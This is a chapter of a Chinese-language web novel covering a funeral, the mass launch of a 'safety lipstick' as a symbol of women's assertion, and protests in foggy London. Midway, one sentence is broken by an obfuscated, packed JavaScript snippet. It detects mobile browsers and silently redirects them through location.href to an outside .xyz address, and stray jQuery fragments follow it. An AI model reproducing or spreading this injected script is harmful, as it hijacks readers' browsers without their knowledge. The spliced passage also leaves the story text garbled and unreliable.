埃米莉·雅顿小姐的葬礼办的盛大且肃穆。


    阴沉的天空低垂，仿佛也参与了这场哀悼。


    墓园里聚集了众多身影，绝大多数是女性。她们穿着深色衣裙，面容肃静，自发地聚在一起，陪同了这位令人钦佩的雅顿小姐的最后一程。


    神父站在前方，他的黑色长袍被微风轻轻拂动。


    他展开手中的经书，声音低沉而平稳，回荡在寂静的空气里。


    “让我们祈祷。


    慈悲的上帝，我们的避难所和力量，求祢安慰所有因这巨大损失而哀恸的人。


    赐予他们祢那出人意外的平安，这平安是世界无法给予，也无法夺走的。


    求祢帮助我们铭记埃米莉·雅顿小姐的生命与恩赐，并赋予我们勇气，能在这充满阴影的世界上，继续传播祢的光明与真理。


    这一切的祷告，是奉我们复活的救主耶稣基督的名求。阿门。”


    我和简站在人群中，随着人流缓缓向前移动。


    这些祷词我听过无数次，在各种各样的葬礼上。


    它们古老而不变的抚慰，此刻听来，却字字清晰，沉重地敲击在心上。


    它们为生者祈求一种人世无法给予的平安，一种与世界无关的、内在的宁静。


    我们垂着头，听着那些字句，每一句都像是对逝者一生的遥远回响。


    也是在这场葬礼上，我真正见到了克拉拉·黛丽·李小姐。


    她站在人群最前方，离棺木和墓穴最近的地方。


    一副宽大的黑色墨镜遮住了她大半张脸，只露出紧抿的嘴唇和线条紧绷的下颌。她穿着一身剪裁极佳的全黑裙装，周身被疏离而冷峻的悲伤笼罩。四五位身材高大的保镖沉默地围在她四周，形成一道无形屏障，将她和汹涌的哀悼人潮隔开。


    仪式暂歇，她走上前，将怀中一束纯洁饱满的白玫瑰轻轻放在覆盖着泥土的棺木上。


    然后，她决然转身，在保镖的护卫下离开。


    在最后的时候，我注意到她又回头，可是她只能往前走。


    人潮和职责推着她，她只能往前走，走向等待她的汽车，走向没有埃米莉·雅顿的未来。


    ……


    瑞秋儿小姐和她的姐妹们也参与了葬礼。


    她们没有穿得灰暗模糊，相反，她们都穿着自己最好的衣服，料子或许普通，但熨烫得平整。


    她们的脸上都施了妆，尤其是嘴唇，涂抹着最鲜艳夺目的红色。


    那不是轻佻，那是一种宣言，一种用尽全力的尊严。


    她们要以自己最美丽、最鲜亮的状态，来送别这位曾给予她们不同意义上“安全”的女性最后一面。


    人群稍散时，我走近她。她还那么年轻，眉眼间的稚气尚未完全被风尘掩盖。


    “你之后……有什么打算？”我问得有些艰难，深知这个世界给予她的选择并不多。


    她似乎愣了一下，随即露出一个近乎本能的笑，那笑容像是练习过千百次，用来应对所有关切的、好奇的或轻蔑的打探。“回红星会馆……”


    “我可以帮你…你…”我忍不住说。


    她摇了摇头，那个笑容变得真切了些，也更苦涩了些。“不…你帮不了你…小姐…”


    她顿了顿，目光越过我，望向不远处等待她的那群姐妹，她们聚在一起，像一群依靠彼此体温抵御寒冷的鸟儿，“我的同伴在等我。”


    读者们，我可能永远都会记得她最后的那个笑容。


    那不是单纯的悲伤，也不是纯粹的乐观。


    那里面有认命的苦涩，有看透后的洒脱，更有面对无边无奈生活时的惊人无畏。


    她转过身，毫不犹豫地朝她的姐妹们走去，走向那个注定充满艰辛、需要不断涂抹鲜艳口红来掩饰苍白的生活。


    之后的日子，也许仍旧是在昏暗的舞厅里跳舞，仍旧是每晚卸下浓重的妆容，第二天再仔细画上。


    循环往复，直至衰老或幸运降临。


    也许很多年后，我们都会老去，记忆会变得模糊，照片会泛黄。但文字记住了这一刻，记住了我们曾因为一位非凡的女性而聚在这里，记住了瑞秋儿小姐转身时那个复杂的微笑。


    葬礼之后，埃米莉·雅顿小姐倾注心血发明的安全口红，终于在克拉拉·黛丽·李小姐的全力推动下，开始了大规模的生产和发售。


    报纸上刊登了广告，百货公司设立了专柜。


    它不再是最初那昙花一现、只存在于实验室和少数人手中的昂贵样品，不再是贵妇沙龙里竞相追逐却求而不得的传说。


    它被定价在一个相对合理的范围，产量稳定，任何一位普通女店员、女工、女教师，只要愿意，都能轻松地拥有一支。


    它被装在简洁的金属管里，旋开，膏体是饱满而坚实的红色。


    那种红，鲜艳，漂亮，夺目，毫不含蓄。


    它理直气壮地宣告自己的存在。它属于所有女性，无论阶层，无论职业。


    这股红色的风潮，悄然又迅速地席卷开来。


    就连一向不施粉黛的简，都开始使用口红了……


    那天，她提着两个熟悉的袋子回来。


    “弗瑞，送你的。”她将其中一个包装好的口红送给我。


    “嗯？谢谢。你…这是…”我的疑问还未完全问出口，便看见她已经自顾自地拿出另一个完全相同的纸盒，拆开包装，拿出那支纤长的金属管。


    她旋开它，动作甚至有点生疏，露出了那饱满坚实的红色膏体。


    她没有立刻涂上，只是用手指轻轻抚过膏体表面，像是在确认某种真实性。然后，她才转向那面有些模糊的旧镜子。


    “就当我听你的话，打扮一下？”她只是简单的笑着说。但那笑容很快收敛了，她凝神看着镜中的自己，将口红仔细地涂上。


    那抹红色出现在她一向素净的脸上，效果是惊人的。


    并非不美，而是一种强烈的、近乎宣言式的存在感，一下子打破了她脸上惯有的冷静与疏离，增添了一种灼人的生气。


    读者们，我当然知道不是因为如此简单的原因。


    窗外的世界正在发生变化。


    越来越多的女性，开始用这种鲜明的色彩装点唇瓣。


    她们也开始剪短累赘的长发，穿上便于活动的衣衫，拿着标语，成群结队地走上街头，为自己的权益呐喊，声音清晰而坚定。


    或许口红从来不只是化妆品。


    它是女性的选择，是弱者的宣言。


    是让整个时代俯身倾听的，一句猩红的呐喊。


    时代在剧变，我从未如此真实的意识到。它隆隆作响，从四面八方袭来。


    然而，并非所有角落都沐浴在变革的光照下。克劳利先生的行为并不正确，可他的呐喊又并非没有道理。


    德比郡的矿业仍在继续，巨大的机械啃噬着黑色的矿藏。但来自国内外的订单大幅缩水，利润薄得可怜。


    格登公司依旧定期向矿区进货，却凭借着垄断地位不断地、无情地压价。


    矿工们被迫延长工时，在更危险的境况下没日没夜地工作，只求保住那勉强糊口的微薄薪水。


    听怀特警探说，有许多的工人开始罢工…有年轻的工人开始背井离乡…


    伦敦的人更多了…更嘈杂了…像一锅被不断添水加柴、即将沸腾的水。


    希望与绝望在这里碰撞，发酵，散发出一种不安的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205144|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气息。


    当我写这段文字的时候，伦敦正在经历一场黑色的大雾…


    伦敦总是如此。用这种方式提醒人们它的存在，它的复杂性。


    在一片模糊的昏黄之外，声音却穿透进来。


    那是抗议者整齐而愤怒的口号声，间歇着，似乎还有玻璃碎裂的尖锐声响。


    在这之外，更隐约的，是压抑不住的、断断续续的哭声。


    窗外有抗议者。


    有人在哭。


    简放下了手中的的东西，看向我，“弗瑞。”


    我想，我应该暂时放下笔，走入其中了，走入那一片迷茫的、哭着的、喊着的大雾中去。


    ……


    门在我身后合上，发出沉闷的轻响。


    那哭声不再隐约，它变得具体，是年轻女声的力竭，被淹没在更庞大的、男人们愤怒的吼声里。


    “公平！”“平等！”“面包！”


    简走在我身侧，没有说话，只是将一条薄围巾递给我。


    我接过，围在口鼻处。我们相视一眼，便步入了人流。


    雾比在窗后看到的更浓，它不再是景象，而是实体。它粘在皮肤上，钻进肺里，让每一次呼吸都带上重量。


    人影在昏黄的光晕里晃动。标语牌在雾气中忽隐忽现。


    我们并非走向他们，而是融入他们。


    一个女孩撞到了我的肩膀，她大概和瑞秋儿一般年纪，脸上没有精致的妆容，只有被泪水冲出沟壑的煤灰与愤怒。


    她手里没有标语，只是徒劳地攥着拳头，朝着某个看不见的方向嘶喊，她的声音加入那片巨大的声浪，立刻被吞没，成为它的一部分。


    我看见了我们的朋友，怀特警探。


    他站在街角，没有穿制服，只是一件皱巴巴的旧外套。


    他双手插在口袋里，眉头紧锁，看着眼前涌动的人群，像是一个看着潮水却无力阻拦的守夜人。


    他的目光扫过我，短暂地停留，然后移开。他并非敌人，他只是另一个被夹在中间的人。


    简碰了碰我的手臂。


    她指向不远处，几个面色黧黑的男人们正试图将一位几近虚脱的老妇搀扶到路边。


    他们的罢工不只是为了更高的工钱，或许也为了能活着看到孩子不再需要下矿的那一天。


    而我们，我们在这里，又是为了什么？


    口号声依旧震耳，但那哭声，我再也分辨不出了。


    它已经消散，或者说，它已经渗入了每一个人的呼吸里，变成了这巨大抗议声中那无法剥离的悲怆底色。


    我没有喊口号。


    我只是站着，看着，感受着这雾，这声音，这颤抖的土地。


    存在，本身即是一种立场。


    格登公司那冰冷高大的办公楼，就在雾气的尽头，若隐若现。它或许以为这只是一阵很快就会过去的喧嚣。


    但它错了。


    时代的车轮之下，没有人能真正置身事外。无论是写下它的，还是走入它的。


    雾更浓了。而我们的路，才刚刚开始。


    ……


    或许我们都会老去，记忆会模糊，照片会泛黄。但文字记住了那些时刻，记住了无数曾奋斗或者正在奋斗的人们。


    而口红管在一次次的旋出与退回中，终会耗尽。


    但没关系。总会有人，在实验室里，在工厂中，在书桌前，再次将它填满。


    那抹红色，永远不会在这片土地上绝迹。


    它会一次次被点燃，被涂抹，被看见。


    成为吻，成为伤口，成为呐喊。


    成为历史沉默卷轴上，一枚永不褪色的、猩红的签名。


    ……